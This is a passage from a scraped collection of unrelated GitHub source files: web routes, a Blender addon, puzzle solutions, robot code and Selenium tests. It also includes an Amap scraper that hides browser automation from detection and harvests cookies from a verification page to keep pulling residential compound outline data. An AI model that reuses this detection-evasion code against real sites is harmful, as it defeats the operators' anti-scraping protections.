display.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40614127592","text":"\"\"\"\n List of routes for /api/stream* endpoints\n\"\"\"\n\nfrom aiohttp_route_decorator import RouteCollector\nimport aiohttp\nfrom ews.controllers.stream_reader.stream_reader import StreamReader as DataController\nfrom ext_lib.utils import get_unprocessable_request\nimport logging\n\n###\n\nL = logging.getLogger(__name__)\n\n###\n\nroute = RouteCollector()\n\n#\n# @route('/video_feed', methods=['GET'])\n# async def stream_live(request):\n# \"\"\"\n# To streaming video from the drone\n# \"\"\"\n# # uri = request.match_info.get('uri', \"Anonymous\")\n#\n# try:\n# request_json = await request.json()\n# return DataController().video_feed(request_json)\n# except Exception as e:\n# # Log the error\n# L.error(\"Invalid request: {}\".format(e))\n# return aiohttp.web.HTTPBadRequest()\n\n\n@route('/live', methods=['GET', 'POST', 'OPTIONS'])\nasync def stream_live(request):\n \"\"\"\n Endpoint to start streaming\n Try: curl http://localhost:8080/api/stream/live -X POST -H \"Content-Type: application/json\"\n -d '{\n \"raw\": false, <-- Deprecated!\n \"algorithm\": \"YOLOv3\", --> this parameter is no longer being used (DEPRECATED)\n \"uri\": \"rtmp://140.113.86.98:15500/live/demo\",\n \"stream\": \"ZENOH\",\n \"scalable\": true,\n \"extras\": { <-- the keys can be anything\n # Example for ZENOH\n \"selector\": \"/eagleeye/img/**\"\n },\n \"exec\": true, <-- Deprecated!\n \"worker\": 1 <-- Deprecated!\n }'\n \"\"\"\n try:\n if request.method == 'POST':\n request_json = await request.json()\n return DataController().read(request_json)\n # return aiohttp.web.json_response(DataController().read(request_json))\n\n if request.method == 'GET':\n return await DataController().get_data()\n except Exception as e:\n # Log the error\n L.error(\"Invalid request: {}\".format(e))\n return aiohttp.web.HTTPBadRequest()\n\n\n@route('/live/{_id}', methods=['GET', 'DELETE', 'PUT'])\nasync def index_by(request):\n \"\"\"\n Endpoint to:\n 1. GET live video stream by id\n Try: curl http://localhost:8080/api/stream/live/{_id}\n 2. DELETE live video stream by id\n Try: curl http://localhost:8080/api/stream/live/{_id} -X DELETE\n 3. PUT (Edit) live video stream by id\n Try: curl http://localhost:8080/api/stream/live/{_id}\n -X POST -H \"Content-Type: application/json\" -d '{\"algorithm\":\"YOLOv3\"}'\n \"\"\"\n\n\n try:\n _id = str(request.match_info['_id'])\n if _id is None:\n _id = str(request.match_info['id'])\n except:\n return get_unprocessable_request()\n\n if request.method == 'GET':\n resp = DataController().get_data_by_id(_id)\n return aiohttp.web.json_response(resp)\n elif request.method == 'DELETE':\n resp = DataController().delete_data_by_id_one(_id)\n return aiohttp.web.json_response(resp)\n elif request.method == 'PUT':\n try:\n json_data = await request.json()\n resp = DataController().update_data_by_id(_id, json_data)\n return aiohttp.web.json_response(resp)\n except:\n return get_unprocessable_request()\n else:\n return get_unprocessable_request()\n\n\n# @route('/live/{_id}', methods=['POST', 'OPTIONS'])\n# async def get_stream_data(request):\n# \"\"\"\n# Endpoint to start streaming\n# Try: curl http://localhost:8080/api/stream/live -X POST -H \"Content-Type: application/json\"\n# -d '{\n# \"raw\": false,\n# \"algorithm\": \"YOLOv3\",\n# \"uri\": \"rtmp://140.113.86.98:15500/live/demo\",\n# \"exec\": true,\n# \"worker\": 1\n# }'\n# \"\"\"\n# _id = request.match_info.get('_id', \"Anonymous\")\n#\n# try:\n# if request.method == 'GET':\n# return DataController().get_data_by(_id)\n# # return aiohttp.web.json_response(DataController().read(request_json))\n# except Exception as e:\n# # Log the error\n# L.error(\"Invalid request: {}\".format(e))\n# return aiohttp.web.HTTPBadRequest()\n\n\n# @route('/folder', methods=['POST', 'OPTIONS'])\n# async def stream_folder(request):\n# \"\"\"\n# Endpoint to start streaming\n# Try: curl http://localhost:8080/api/stream/live -X POST -H \"Content-Type: application/json\"\n# -d '{\n# \"raw\": false,\n# \"algorithm\": \"YOLOv3\",\n# \"uri\": \"common_files/5g-dive/57-frames\",\n# \"exec\": true,\n# \"worker\": 1\n# }'\n# \"\"\"\n# # uri = request.match_info.get('uri', \"Anonymous\")\n#\n# try:\n# if request.method == 'POST':\n# request_json = await request.json()\n# resp = DataController().read(request_json)\n# return aiohttp.web.json_response(resp)\n# except Exception as e:\n# return get_unprocessable_request()\n# # return aiohttp.web.HTTPBadRequest()\n","repo_name":"ardihikaru/eagleeye","sub_path":"web-service/ews/route_manager/routes/stream_reader.py","file_name":"stream_reader.py","file_ext":"py","file_size_in_byte":5385,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"5497780835","text":"\"\"\"This package defines the frequency class for goly, including ORM nonsense\"\"\"\nfrom goly import db, errors\nfrom sqlalchemy import MetaData, Table\nfrom sqlalchemy.ext.declarative import declarative_base\nmd = MetaData(bind=db.engine)\nfrequency = Table('frequency', md, autoload=True)\nBase = declarative_base(metadata=md)\n\nclass Frequency(Base, db.Model):\n __table__ = frequency\n\n id_cache = {}\n name_cache = {}\n cache_items = db.session.query(frequency).all()\n for cache_item in cache_items:\n id_cache[cache_item.name] = cache_item.id\n name_cache[cache_item.id] = cache_item.name\n \n def __init__(self, name):\n self.name = name\n\n def to_str(self):\n return self.name\n\n @classmethod\n def get_name_by_id(self, id):\n assert id in self.name_cache\n \n return self.name_cache[id]\n\n @classmethod\n def get_id_by_name(self, name, field=\"Frequency\"):\n assert name in self.id_cache, field + \" must be one of \" + \", \".join(self.id_cache.keys())\n \n return self.id_cache[name]\n\n @classmethod\n def conforms(self, freq, check_in_freq):\n \"\"\"Determine whether a check-in frequency conforms to a frequency.\n\n A check-in frequency conforms to a frequency if the check-in frequency divides evenly within the \n frequency.\n This method takes names, not IDs or objects\n \"\"\"\n if (check_in_freq == freq): return True\n ## Nothing fits into daily except daily itself\n if (freq == 'daily'): return False \n # Only days fit into weeks and months (weeks do not fit into months)\n if (freq in ['weekly', 'monthly']): return check_in_freq == 'daily' \n if (freq == 'quarterly'): return check_in_freq in ['daily', 'monthly']\n if (freq == 'yearly'): return check_in_freq in ['daily', 'monthly', 'quarterly']\n\n ","repo_name":"Carscafmoo/goly","sub_path":"goly/models/frequency.py","file_name":"frequency.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23010313051","text":"import helpers\nfrom collections import Counter\n\ndef parse_input(lines):\n seats = set()\n spots = set()\n for r, l in enumerate(lines):\n for c, v in enumerate(l):\n if v == 'L':\n seats.add((r, c))\n spots.add((r, c))\n return seats, spots\n \nadj_dir = {\n (-1,-1),\n (-1,0),\n (-1,1),\n (0,-1),\n (0,1),\n (1,-1),\n (1,0),\n (1,1),\n}\ndef add_dir(seat, d):\n return (seat[0] + d[0], seat[1] + d[1])\n\ndef get_nearest_neighbor(seat, d, seats, spots):\n next_seat = add_dir(seat, d)\n while next_seat in spots:\n if next_seat in seats:\n return next_seat\n next_seat = add_dir(next_seat, d)\n return None\n\ndef get_neighbors(seat, seats, spots):\n neighbors = (get_nearest_neighbor(seat, d, seats, spots) for d in adj_dir)\n return set(n for n in neighbors if n is not None)\n\ndef make_neighbor_map(seats, spots):\n return {s: get_neighbors(s, seats, spots) for s in seats}\n\ndef update_occupied(seat, occupied, neighbors):\n occ_cnt = sum(1 for n in neighbors if n in occupied)\n if occ_cnt == 0:\n return True\n if occ_cnt > 4:\n return False\n return seat in occupied\n\ndef solve(inp):\n seats, spots = inp\n occupied = set()\n neighbor_map = make_neighbor_map(seats, spots)\n while True:\n next_occupied = set(seat for seat in seats if update_occupied(seat, occupied, neighbor_map[seat]))\n if not occupied.symmetric_difference(next_occupied):\n return len(occupied)\n occupied = next_occupied\n\n\nsolver = helpers.Solver(parse_input, solve)\ndef test():\n solver.test_solution(\n lines=[\n 'L.LL.LL.LL',\n 'LLLLLLL.LL',\n 'L.L.L..L..',\n 'LLLL.LL.LL',\n 'L.LL.LL.LL',\n 'L.LLLLL.LL',\n '..L.L.....',\n 'LLLLLLLLLL',\n 'L.LLLLLL.L',\n 'L.LLLLL.LL',\n ],\n expected=26,\n )\n\ntest()\nprint(solver.solve(file=\"11.input.txt\"))\n","repo_name":"roaclark/advent-of-code-2020","sub_path":"11.2.solution.py","file_name":"11.2.solution.py","file_ext":"py","file_size_in_byte":1801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"10218472661","text":"from simpleapi.settings import REQUESTHEADERS, CACHE_TIME, RESPONSEPARAMS, RESPONSEHEADERS, STATUS_MESSAGES\nfrom django.http import HttpResponse, JsonResponse\nfrom rest_framework.decorators import api_view, permission_classes\nfrom rest_framework.permissions import IsAdminUser\nfrom django.core.cache import cache\nimport pycurl\nfrom StringIO import StringIO\nimport json\nfrom simpleapi.logger import logger\nclass FetchAPI():\n\n\tdef __init__(self, url, headers=REQUESTHEADERS):\n\t\tself.fetch(url, headers)\n\n\tdef getfield(self, func):\n\t\treturn func(self.response)\n\n\tdef fetch(self, url, headers):\n\t\tbuffer = StringIO()\n\t\tc = pycurl.Curl()\n\t\tc.setopt(c.URL, url)\n\t\tc.setopt(pycurl.HTTPHEADER, headers)\n\t\tc.setopt(c.WRITEDATA, buffer)\n\t\tc.perform()\n\t\tself.statuscode = c.getinfo(c.RESPONSE_CODE)\n\t\tc.close()\n\t\tself.response = json.loads(buffer.getvalue())\n\ndef main_page(request):\n\treturn JsonResponse({\"status code\": 404, 'message': 'Page not found'}, status=404)\n\n# Needs to be logged in as an admin user to get a response\n@api_view(['GET'])\n@permission_classes((IsAdminUser, ))\ndef event_detail(request, pk):\n if request.method != 'GET': HttpResponse(status=404)\n returninfo = cache.get(pk)\n if not returninfo:\n \tevent = FetchAPI('https://demo.calendar42.com/api/v2/events/%s/' % pk)\n \tif event.statuscode<200 or event.statuscode>=300:\n \t\treturn JsonResponse({'status code': event.statuscode, 'message': STATUS_MESSAGES[event.statuscode]}, \n \t\t\tjson_dumps_params=RESPONSEPARAMS, status=event.statuscode)\n\n \treturninfo = {'event_id': pk}\n \ttitle = lambda x: x['data'][0]['title']\n \treturninfo.update({'title': event.getfield(title)})\n\n \teventsubscribers = FetchAPI('https://demo.calendar42.com/api/v2/event-subscriptions/?event_ids=[%s]'% pk)\n \tnames = []\n \tfor d in eventsubscribers.response.get('data'):\n \t\tif d.get('event_id') != pk : continue\n \t\tname = d.get('subscriber').get('first_name')\n \t\tif name: names.append(name)\n \treturninfo.update({\"names\": names})\n \tcache.set(pk, returninfo, timeout=CACHE_TIME)\n return JsonResponse(returninfo, json_dumps_params=RESPONSEPARAMS)\n","repo_name":"Rafalonso/simple-api-proxy-django","sub_path":"simpleapi/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2130,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"73256092402","text":"'''\n523. 连续的子数组和\n给定一个包含 非负数 的数组和一个目标 整数 k ,\n编写一个函数来判断该数组是否含有连续的子数组,其大小至少为 2,且总和为 k 的倍数,即总和为 n * k ,其中 n 也是一个整数。\n'''\n# 相比于能被k整除的连续数组,多加了数组长度至少为2的限制\nclass Solution:\n def checkSubarraySum(self, nums: list, k: int) -> bool:\n if k==0: return False # 要判断k是否为0的情况\n dic = {0:-1} #字典中key为余数 val为第一次出现的索引\n presum = 0\n for i in range(len(nums)):\n presum += nums[i]\n key = presum % k\n if key in dic:\n if i-dic[key]>=2:\n return True\n continue\n dic[key]=i\n return False\n","repo_name":"HannahTin/Leetcode","sub_path":"边边角角知识点/前缀和/523_ Continuous Subarray Sum.py","file_name":"523_ Continuous Subarray Sum.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40884316573","text":"from fractions import Fraction\r\n\r\n\r\nclass Sausage:\r\n\r\n def __init__(self, meat = \"pork!\", vol = 1):\r\n self.meat = meat\r\n self.vol = Fraction(vol)\r\n\r\n def __abs__(self):\r\n if self.vol > 0: return self.vol\r\n return 0\r\n\r\n def __bool__(self):\r\n return True if abs(self) else False\r\n\r\n def __mul__(self, other):\r\n rez = Sausage(self.meat, self.vol * Fraction(other))\r\n return rez\r\n\r\n def __rmul__(self, other):\r\n return self * other\r\n\r\n def __truediv__(self, other):\r\n rez = Sausage(self.meat, self.vol / Fraction(other))\r\n return rez\r\n\r\n def __add__(self, other):\r\n rez = Sausage(self.meat, self.vol + other.vol)\r\n return rez\r\n\r\n def __sub__(self, other):\r\n rez = Sausage(self.meat, self.vol - other.vol)\r\n return rez\r\n\r\n def __str__(self):\r\n counter = int(12 * self.vol)\r\n if counter == 0: counter = -1\r\n first_line = '/'\r\n sec_line = '|'\r\n last_line = '\\\\'\r\n i = 1\r\n j = 0\r\n leng = len(self.meat)\r\n while i <= counter:\r\n if j == leng: j = 0\r\n sec_line += self.meat[j]\r\n j += 1\r\n first_line += '-'\r\n last_line += '-'\r\n if i % 12 == 0:\r\n j = 0\r\n first_line += '\\\\'\r\n last_line += '/'\r\n sec_line += '|'\r\n if i < counter:\r\n first_line += '/'\r\n sec_line += '|'\r\n last_line += '\\\\'\r\n i += 1\r\n if counter % 12 > 0:\r\n first_line += '|'\r\n sec_line += '|'\r\n last_line += '|'\r\n rez = first_line + '\\n' + sec_line + '\\n' + sec_line + '\\n' + sec_line + '\\n' + last_line\r\n return rez\r\n","repo_name":"dogernout/PythonIntro","sub_path":"cyber_sausage.py","file_name":"cyber_sausage.py","file_ext":"py","file_size_in_byte":1823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"16063595261","text":"import wpilib\n\n# does not work yet\n\nclass MyRobot(wpilib.TimedRobot):\n def robotInit(self):\n print(\"Initalizing\")\n\n # make rev hub object\n self.hub = wpilib.PneumaticHub(1)\n\n # make single solenoid objects (pass in channel as parameter)\n self.solenoids = [self.hub.makeSolenoid(0), self.hub.makeSolenoid(1)]\n\n # make double solenoid objects (pass in forward channel and reverse channel as parameters)\n self.double_solenoids = [self.hub.makeDoubleSolenoid(2, 3), self.hub.makeDoubleSolenoid(4, 5)]\n\n # make compressor\n self.compressor = self.hub.makeCompressor(1)\n\n self.timer = wpilib.Timer\n self.input = wpilib.Joystick(0)\n\n def teleopInit(self):\n print(\"Starting Compressor\")\n self.compressor.enableDigital()\n for solenoid in self.double_solenoids:\n solenoid.set(wpilib.DoubleSolenoid.Value.kOff)\n\n\n def teleopPeriodic(self):\n if self.input.getRawButtonPressed(5): # LB (Xbox)\n print(\"Toggling First...\")\n for solenoid in self.double_solenoids:\n solenoid.toggle()\n\n if self.input.getRawButtonPressed(6): # RB (Xbox)\n print(\"Toggling Second...\")\n for solenoid in self.double_solenoids:\n solenoid.toggle()\n\n def teleopExit(self):\n print(\"Turning off compressor...\")\n self.compressor.disable()\n\n\nif __name__ == \"__main__\":\n wpilib.run(MyRobot) ","repo_name":"RoboEagles4828/edna2023","sub_path":"rio/POC/pneumatics_test/robot.py","file_name":"robot.py","file_ext":"py","file_size_in_byte":1469,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"43131007337","text":"import requests\n\n\nURL_BASE = \"http://localhost:8080\"\nAPI_VERSION = \"v1.0\"\ndef test_get_questions_bad():\n\tresp = requests.get(URL_BASE + \"/api/\"+API_VERSION+\"/questions\",\n headers = {\"Content-Type\": \"application/json\"},\n data = \"some wierd data that doesn't inlude count\")\n\tassert resp.status_code == 400, \"%d: %s\" % (resp.status_code, resp.text)","repo_name":"tareqx2/team-trivia","sub_path":"tests/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"16587886867","text":"# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful, but\n# WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTIBILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n# General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n\nimport bpy\nimport bmesh\nimport math\nimport copy\nimport mathutils\nimport bpy_extras\nimport collections\nfrom mathutils import *\nfrom .QSnap import QSnap\nimport numpy as np\nfrom ..utils import pqutil\nfrom ..utils import draw_util\nfrom ..utils.dpi import *\nfrom .ElementItem import ElementItem\nfrom .QMeshOperators import QMeshOperators\nfrom .QMeshHighlight import QMeshHighlight\n\n__all__ = ['QMesh','SelectStack']\n \nclass QMesh(QMeshOperators) :\n\n def __init__(self , obj , preferences) :\n super().__init__(obj, preferences)\n self.highlight = QMeshHighlight(self)\n self.invalid = False\n\n def UpdateMesh( self , updateHighLight = True ) :\n super().UpdateMesh()\n if updateHighLight :\n self.highlight.setDirty()\n\n def CheckValid( self , context ) :\n val = super()._CheckValid(context)\n if val == False or self.invalid :\n self.highlight.setDirty()\n self.reload_obj(context)\n self.invalid = False\n return val\n\n def UpdateView( self ,context , forced = False ):\n self.highlight.UpdateView(context)\n\n def PickElement( self , coord , radius : float , ignore = [] , edgering = False , backface_culling = None , elements = ['FACE','EDGE','VERT'] ) -> ElementItem :\n if backface_culling == None :\n backface_culling = self.get_shading(bpy.context).show_backface_culling\n rv3d = bpy.context.region_data\n matrix = rv3d.perspective_matrix\n radius = radius * dpm()\n\n hitElement = ElementItem.Empty()\n\n ignoreFaces = [ i for i in ignore if isinstance( i , bmesh.types.BMFace ) ] \n\n # Hitする頂点を探す\n hitVert = ElementItem.Empty()\n if 'VERT' in elements :\n ignoreVerts = [ i for i in ignore if isinstance( i , bmesh.types.BMVert ) ]\n candidateVerts = self.highlight.CollectVerts( coord , radius , ignoreVerts , edgering , backface_culling = backface_culling )\n for vert in candidateVerts :\n # 各点からRayを飛ばす\n if QSnap.is_target( vert.hitPosition ) :\n hitTemp = self.highlight.PickFace( vert.coord , ignoreFaces , backface_culling = False )\n if hitTemp.isEmpty :\n # 何の面にもヒットしないなら採択\n hitVert = vert\n break\n else :\n if vert.element in hitTemp.element.verts :\n # ヒットした面に含まれているなら採択\n hitVert = vert\n break\n else :\n # ヒットしたポイントより後ろなら採択\n v1 = matrix @ vert.hitPosition\n v2 = matrix @ hitTemp.hitPosition\n if v1.z <= v2.z :\n hitVert = vert\n break\n\n # Todo:ヒットするエッジを探す\n hitEdge = ElementItem.Empty()\n if 'EDGE' in elements :\n ignoreEdges = [ i for i in ignore if isinstance( i , bmesh.types.BMEdge ) ]\n candidateEdges = self.highlight.CollectEdge( coord , radius , ignoreEdges , backface_culling = backface_culling , edgering= edgering )\n\n for edge in candidateEdges :\n if QSnap.is_target( edge.hitPosition ) : \n hitTemp = self.highlight.PickFace( edge.coord , ignoreFaces , backface_culling = False )\n \n if hitTemp.isEmpty :\n hitEdge = edge\n break\n else:\n if edge.element in hitTemp.element.edges :\n # ヒットした面に含まれているなら採択\n hitEdge = edge\n break\n else :\n # ヒットしたポイントより後ろなら採択\n v1 = matrix @ edge.hitPosition\n v2 = matrix @ hitTemp.hitPosition\n if v1.z <= v2.z :\n hitEdge = edge\n break\n\n\n if hitVert.isEmpty and hitEdge.isEmpty :\n if 'FACE' in elements : \n # hitする面を探す\n hitFace = self.highlight.PickFace( coord , ignoreFaces , backface_culling = backface_culling )\n # 候補頂点/エッジがないなら面を返す\n if hitFace.isNotEmpty :\n if QSnap.is_target( hitFace.hitPosition ) : \n hitElement = hitFace\n elif hitVert.isNotEmpty and hitEdge.isNotEmpty :\n if hitVert.element in hitEdge.element.verts :\n return hitVert\n v1 = matrix @ hitVert.hitPosition.to_4d()\n v2 = matrix @ hitEdge.hitPosition.to_4d()\n if v1.z <= v2.z :\n hitElement = hitVert\n else :\n hitElement = hitEdge\n elif hitVert.isNotEmpty :\n hitElement = hitVert\n elif hitEdge.isNotEmpty :\n hitElement = hitEdge\n \n return hitElement\n\n\nclass SelectStack :\n def __init__(self, context , bm) :\n self.context = context\n self.bm = bm\n self.mesh_select_mode = context.tool_settings.mesh_select_mode[0:3]\n\n def push( self ) :\n self.mesh_select_mode = self.context.tool_settings.mesh_select_mode[0:3]\n self.vert_selection = [ v.select for v in self.bm.verts ]\n self.face_selection = [ f.select for f in self.bm.faces ]\n self.edge_selection = [ e.select for e in self.bm.edges ]\n self.select_history = self.bm.select_history[:]\n self.mesh_select_mode = self.context.tool_settings.mesh_select_mode[0:3]\n\n def select_mode( self , vert , edge , face ) :\n self.context.tool_settings.mesh_select_mode = (vert , edge , face)\n\n\n def pop( self ) :\n for select , v in zip( self.vert_selection , self.bm.verts ) :\n v.select = select\n for select , f in zip( self.face_selection , self.bm.faces ) :\n f.select = select\n for select , e in zip( self.edge_selection , self.bm.edges ) :\n e.select = select\n\n self.bm.select_history = self.select_history\n\n del self.vert_selection\n del self.face_selection\n del self.edge_selection\n\n self.context.tool_settings.mesh_select_mode = self.mesh_select_mode\n","repo_name":"sakana3/PolyQuilt","sub_path":"Addons/PolyQuilt/QMesh/QMesh.py","file_name":"QMesh.py","file_ext":"py","file_size_in_byte":7336,"program_lang":"python","lang":"en","doc_type":"code","stars":489,"dataset":"github-code","pt":"75"} +{"seq_id":"23775916723","text":"import dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nfrom dash.dependencies import Input, Output\nimport plotly.graph_objs as go\nimport pandas as pd\nimport plotly.offline as pyo\n\ndf = pd.read_json('Yahoo_Financials.json')\n\ncompany_list = []\nevaluation_marker_list = []\nvalues_list = []\nUSERNAME_PASSWORD = ['Yahoofinance', '007']\n\n\ndef populate_company_list():\n for company in df:\n company_list.append(company)\n\n\ndef populate_value_list():\n for company in df:\n values_list.append(df[company]['Valuation Measures']['Trailing P/E'])\n\n\ndef populate_marker_list():\n for company in df:\n for marker in df[company]['Valuation Measures']:\n evaluation_marker_list.append(marker)\n print(evaluation_marker_list)\n\n\napp = dash.Dash()\nauth = dash_auth.BasicAuth(app,USERNAME_PASSWORD_PAIRS)\napp.layout = html.Div([\n html.Div(\n dcc.Graph(\n id='T-PE',\n figure={\n 'data': [\n {'x': company_list, 'y': [df[company]['Valuation Measures']['Trailing P/E'] for company in df],\n 'type': 'bar'}\n ],\n 'layout': {\n 'title': 'Trailing P/E'\n }\n }\n ),\n ),\n html.Div(\n dcc.Graph(\n id='F-PE',\n figure={\n 'data': [\n {'x': company_list, 'y': [df[company]['Valuation Measures']['Forward P/E'] for company in df],\n 'type': 'bar'}\n ],\n 'layout': {\n 'title': 'Forward P/E'\n }\n }\n )\n ),\n html.Div(\n dcc.Graph(\n id='Op-Margin',\n figure={\n 'data': [\n {'x': company_list,\n 'y': [df[company]['Management Effectiveness']['Operating Margin'] for company in df],\n 'type': 'bar'}\n ],\n 'layout': {\n 'title': 'Operating Margin'\n }\n }\n ),\n ),\n html.Div(\n dcc.Graph(\n id='return-equity',\n figure={\n 'data': [\n {'x': company_list,\n 'y': [df[company]['Income Statement']['Return on Equity'] for company in df], 'type': 'bar'}\n ],\n 'layout': {\n 'title': 'Return on Equity'\n }\n }\n ),\n ),\n html.Div(\n dcc.Graph(\n id='EBITDA',\n figure={\n 'data': [\n {'x': company_list,\n 'y': [df[company]['Income Statement']['EBITDA'] for company in df], 'type': 'bar'}\n ],\n 'layout': {\n 'title': 'EBITDA'\n }\n }\n ),\n ),\n html.Div(\n dcc.Graph(\n id='operating_cash_flow',\n figure={\n 'data': [\n {'x': company_list,\n 'y': [df[company]['Cash Flow Statement']['Operating Cash Flow'] for company in df], 'type': 'bar'}\n ],\n 'layout': {\n 'title': 'Operating Cash Flow'\n }\n }\n )\n ),\n],\n style={'width': '60%', 'height': '50%', 'display': 'inline-block'})\n\nif __name__ == '__main__':\n populate_company_list()\n populate_marker_list()\n populate_value_list()\n app.run_server()\n","repo_name":"Dragosjosan/Yahoo_Financials","sub_path":"dashboard.py","file_name":"dashboard.py","file_ext":"py","file_size_in_byte":3524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"391690152","text":"import requests\nrequests.packages.urllib3.disable_warnings()\nfrom selenium import webdriver\nfrom selenium.webdriver import Chrome\nfrom selenium.webdriver import ChromeOptions\nimport json\nfrom selenium.webdriver import ActionChains\nimport time\nimport random\nopt = webdriver.ChromeOptions()\nopt.add_experimental_option('excludeSwitches', ['enable-automation']) #较早版本的chrome跳过window.navigator.webdriver检测\nopt.add_experimental_option('useAutomationExtension', False) #较早版本的chrome跳过window.navigator.webdriver检测\nopt.add_argument('--log-level=3') #消除控制台报错\n#opt.add_argument('blink-settings=imagesEnabled=false') #浏览器无图模式\ndriver = webdriver.Chrome(options=opt)\ndriver.execute_cdp_cmd(\"Page.addScriptToEvaluateOnNewDocument\", {\n \"source\": \"\"\"\n Object.defineProperty(navigator, 'webdriver', {\n get: () => undefined\n })\n \"\"\"\n}) #新版chrome跳过window.navigator.webdriver检测\n\nheader = {\n \"Accept\": \"*/*\",\n \"Accept-Encoding\": \"gzip, deflate, br\",\n \"Accept-Language\": \"zh-CN,zh;q=0.9\",\n \"amapuuid\": \"b8c17e6b-0ba1-4b80-bad2-bb8fa4a3ab68\",\n \"Connection\": \"keep-alive\",\n \"Host\": \"www.amap.com\", \n \"Referer\": \"https://www.amap.com\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X MetaSr 1.0\",\n \"x-csrf-token\": \"null\",\n \"X-Requested-With\": \"XMLHttpRequest\"\n}\n\nallInfo = []\ngaodeCookie = {}\n# 获取cookie中的name和value,转化成requests可以使用的形式\n\ndef dargBlock(id):\n url = \"https://www.amap.com/place/\" + id\n driver.get(url)\n time.sleep(12) #学会回调之后优化\n\ndef getCookie():\n cookies = driver.get_cookies()\n return cookies\n\ndef getShape(id):\n print(\"开始抓取\")\n data = {\"id\": id}\n url = \"https://www.amap.com/detail/get/detail\"\n r = requests.get(url, headers = header, cookies=gaodeCookie, params=data).json()\n cache = {}\n cache[\"id\"] = id\n\n if ('data' in r): \n print('利用gaodeCookie抓取成功')\n cache[\"data\"] = r\n else: \n print('抓取失败,开始使用headless验证,获取gaodeCookie')\n dargBlock(id)\n for cookie in getCookie():\n gaodeCookie[cookie['name']] = cookie['value']\n time.sleep(1)\n cache[\"data\"] = requests.get(url, headers=header, cookies=gaodeCookie, params=data).json()\n print('利用dargBlock抓取成功')\n allInfo.append(cache)\n\ndef loadId():\n with open(\"./数据资源/高德信息.json\",'r',encoding='utf8') as loadInfo:\n idInfo = json.load(loadInfo)\n return idInfo\nsaveUrl = \"./数据资源/\" + \"小区轮廓信息\" + \".json\"\ndef generator():\n info = loadId()\n for item in info:\n if (\"住宅\" in item[\"type\"]):\n if (\"id\" in item):\n #time.sleep(random.randint(1, 10))\n getShape(item[\"id\"])\n print(item[\"id\"], item[\"name\"])\n jstr = json.dumps(allInfo, indent=4, sort_keys=True, ensure_ascii=False)\n \n with open(saveUrl, \"w\", encoding='utf8') as f:\n f.write(jstr)\n\ngenerator() \n","repo_name":"kancell/subway-house-price-map","sub_path":"高德小区轮廓抓取.py","file_name":"高德小区轮廓抓取.py","file_ext":"py","file_size_in_byte":3197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71781141683","text":"# https://school.programmers.co.kr/learn/courses/30/lessons/1844\n\nfrom collections import deque\n\n\ndef solution(maps: list[list[int]]) -> int:\n dx = [1, -1, 0, 0]\n dy = [0, 0, 1, -1]\n n = len(maps)\n m = len(maps[0])\n q: deque[tuple[int, ...]] = deque()\n q.append((0, 0, 1))\n\n while q:\n x, y, c = q.popleft()\n for i in range(4):\n nx = x + dx[i]\n ny = y + dy[i]\n if nx >= 0 and nx <= n - 1 and ny >= 0 and ny <= m - 1:\n if maps[nx][ny] == 1 or maps[nx][ny] > c + 1:\n maps[nx][ny] = c + 1\n if nx == n - 1 and ny == m - 1:\n return c + 1\n q.append((nx, ny, c + 1))\n\n return -1\n","repo_name":"JngMkk/Algorithm","sub_path":"Exercise/Programmers/Python/DFS&BFS/1844.py","file_name":"1844.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"6374591859","text":"import csv\nimport pandas as pd\nfrom pandas import DataFrame as df\nimport requests\nimport time\nfrom Pages.BasePage import BasePage\nfrom Pages.HomePage import HomePage\nfrom selenium import webdriver\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\nimport pytest\n\n\ndriver = webdriver.Remote(command_executor='http://localhost:4444/wd/hub',\n desired_capabilities=DesiredCapabilities.CHROME)\n\n\n#driver = webdriver.Chrome(\"C:\\Webdrivers\\chromedriver.exe\")\n#driver.maximize_window()\n#driver.implicitly_wait(2)\n\ndriver.get(\"http://www.musala.com/\")\n\ndef test_Case1():\n #There is also a CSV file, but I have chosen to use the XLSX file\n\n df = pd.read_excel(r'C:\\Users\\MIHAJLO\\PycharmProjects\\MihajloS\\XLS_Mihajlo.xlsx')\n\n #Iteration counter\n i = 0\n #Counter for excel file rows for the emails\n a = 0\n while i < 5:\n a <= 5\n email = df.email\n contact_email = driver.find_element_by_xpath(\"//input[@id='cf-2']\")\n\n contact_Us = HomePage(driver)\n contact_Us.click_on_contact()\n contact_Us.enter_name()\n contact_email.clear()\n contact_email.send_keys(email[a])\n contact_Us.enter_mobile()\n 